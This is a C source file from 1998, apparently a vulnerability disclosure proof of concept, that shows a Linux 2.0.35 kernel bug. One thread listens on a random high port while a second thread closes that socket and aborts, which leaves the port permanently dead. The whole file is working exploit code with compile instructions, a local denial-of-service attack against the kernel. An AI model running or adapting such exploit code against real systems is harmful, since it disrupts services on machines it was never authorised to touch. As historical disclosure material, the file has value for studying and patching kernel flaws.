/*
**
** This program will kill a random port on a linux machine. The kernel will
** forever listen to that port and send the connections nowhere. Tested with
** Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
** but removing LinuxThreads from your system will not solve the problem.*
**
** Discovered by David J. Schwartz <davids@webmaster.com>
** Copyright (C) 1998, David J. Schwartz
** Compile with:
** gcc killport.c -lpthread -o killport
**
*/

#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>

volatile int s;

void *Thread1(void *a)
{
 int i,p;
 struct sockaddr_in to;
 fd_set fd;
 s=socket(AF_INET, SOCK_STREAM, 0);
 if(s<=0) return;
 memset(&to, 0, sizeof(to));
 srand(getpid());

 /* we pick a random port between 50000 and 59999 */
 p=(rand()%10000)+50000;

 printf("port = %d\n", p);
 fflush(stdout);
 to.sin_port=htons(p);
 to.sin_addr.s_addr=0;
 to.sin_family=AF_INET;
 if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
  fprintf(stderr,"no bind\n");
 if(listen(s,10)!=0)
 fprintf(stderr,"No Listen\n");
 /* now we are listening on that port */
 i=sizeof(to);
 FD_ZERO(&fd);
 FD_SET(s,&fd);
 select(s+1,&fd,NULL,NULL,NULL);
 /* at this point we have selected on it as well */
 fprintf(stderr,"select returned!\n");
}

void *Thread2(void *a)
 {
 close(s);
 fflush(stderr);
 abort();
}

void main(void)
{
 pthread_t j;
 pthread_create(&j,NULL,Thread1,NULL);
 usleep(100); /* give the other thread time to finish */
 pthread_create(&j,NULL,Thread2,NULL);
 while(1) sleep(1);
}